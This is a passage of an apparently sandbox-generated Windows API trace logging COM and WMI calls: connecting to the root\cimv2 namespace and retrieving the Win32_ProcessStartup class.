Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0154.654] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.657] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bc41820) returned 0x0 [0154.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc41820, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0154.657] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc41820, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc93a30) returned 0x0 [0154.657] WbemDefPath:IUnknown:Release (This=0x1bc41820) returned 0x0 [0154.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc93a30) returned 0x0 [0154.657] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0154.658] WbemDefPath:IUnknown:AddRef (This=0x1bc93a30) returned 0x3 [0154.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0154.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0154.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bc417a0) returned 0x0 [0154.658] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc417a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.658] WbemDefPath:IUnknown:Release (This=0x1bc417a0) returned 0x3 [0154.658] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0154.658] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0154.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0154.658] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x2 [0154.658] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x1 [0154.658] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0154.658] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0154.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc93a30, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc93a30) returned 0x0 [0154.658] WbemDefPath:IUnknown:AddRef (This=0x1bc93a30) returned 0x3 [0154.659] WbemDefPath:IUnknown:Release (This=0x1bc93a30) returned 0x2 [0154.659] WbemDefPath:IWbemPath:SetText (This=0x1bc93a30, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93a30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93a30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93a30, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc93a30, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc93a30, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0154.659] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.659] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0154.660] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0154.660] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0154.660] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.662] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bc40aa0) returned 0x0 [0154.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc40aa0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0154.662] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc40aa0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1aa0c090) returned 0x0 [0154.662] WbemDefPath:IUnknown:Release (This=0x1bc40aa0) returned 0x0 [0154.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1aa0c090) returned 0x0 [0154.662] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0154.663] WbemDefPath:IUnknown:AddRef (This=0x1aa0c090) returned 0x3 [0154.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0154.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0154.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc40a20) returned 0x0 [0154.663] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc40a20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0154.663] WbemDefPath:IUnknown:Release (This=0x1bc40a20) returned 0x3 [0154.663] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0154.663] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0154.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0154.663] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x2 [0154.663] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x1 [0154.663] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0154.663] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0154.663] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0c090, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1aa0c090) returned 0x0 [0154.664] WbemDefPath:IUnknown:AddRef (This=0x1aa0c090) returned 0x3 [0154.664] WbemDefPath:IUnknown:Release (This=0x1aa0c090) returned 0x2 [0154.664] WbemDefPath:IWbemPath:SetText (This=0x1aa0c090, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0154.664] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0154.664] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0154.664] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.664] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0154.664] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0154.664] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0154.664] IUnknown:Release (This=0x1a943398) returned 0x1 [0154.665] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc0f780) returned 0x0 [0154.666] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f780, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0154.666] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc0f780, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc0f7a0) returned 0x0 [0154.666] WbemLocator:IUnknown:Release (This=0x1bc0f780) returned 0x0 [0154.666] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f7a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc0f7a0) returned 0x0 [0154.666] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f7a0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0154.666] WbemLocator:IUnknown:AddRef (This=0x1bc0f7a0) returned 0x3 [0154.666] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f7a0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0154.667] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f7a0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0154.667] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f7a0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0154.667] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0154.667] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0154.667] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f7a0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0154.667] WbemLocator:IUnknown:Release (This=0x1bc0f7a0) returned 0x2 [0154.667] WbemLocator:IUnknown:Release (This=0x1bc0f7a0) returned 0x1 [0154.667] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0154.667] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0154.667] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc0f7a0, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc0f7a0) returned 0x0 [0154.667] WbemLocator:IUnknown:AddRef (This=0x1bc0f7a0) returned 0x3 [0154.667] WbemLocator:IUnknown:Release (This=0x1bc0f7a0) returned 0x2 [0154.668] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0c090, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0154.668] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0154.668] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0c090, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0154.668] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc0f7c0) returned 0x0 [0154.668] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc0f7c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc36a80) returned 0x0 [0154.677] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdc800) returned 0x0 [0154.678] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdc800, pProxy=0x1bc36a80, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0154.678] WbemLocator:IUnknown:Release (This=0x1bbdc800) returned 0x1 [0154.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdc840) returned 0x0 [0154.678] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdc800) returned 0x0 [0154.678] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdc800, pProxy=0x1bc36a80, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0154.678] WbemLocator:IUnknown:Release (This=0x1bbdc800) returned 0x2 [0154.678] WbemLocator:IUnknown:Release (This=0x1bbdc840) returned 0x1 [0154.678] CoTaskMemFree (pv=0x1bba5e50) [0154.679] WbemLocator:IUnknown:AddRef (This=0x1bc36a80) returned 0x2 [0154.679] WbemLocator:IUnknown:Release (This=0x1bc0f7c0) returned 0x0 [0154.679] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0154.679] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0154.679] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdc810) returned 0x0 [0154.680] WbemLocator:IRpcOptions:Query (in: This=0x1bbdc810, pPrx=0x1bc0f460, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0154.680] WbemLocator:IUnknown:Release (This=0x1bbdc810) returned 0x2 [0154.680] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0154.680] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0154.680] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc36a80, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc36a80) returned 0x0 [0154.680] WbemLocator:IUnknown:Release (This=0x1bc36a80) returned 0x2 [0154.680] SysStringLen (param_1=0x0) returned 0x0 [0154.680] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0154.680] WbemDefPath:IWbemPath:GetText (in: This=0x1bc93a30, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0154.681] IWbemServices:GetObject (in: This=0x1bc36a80, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bcf4fc0, ppCallResult=0x0) returned 0x0 [0154.684] IWbemClassObject:Get (in: This=0x1bcf4fc0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0154.685] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0154.685] 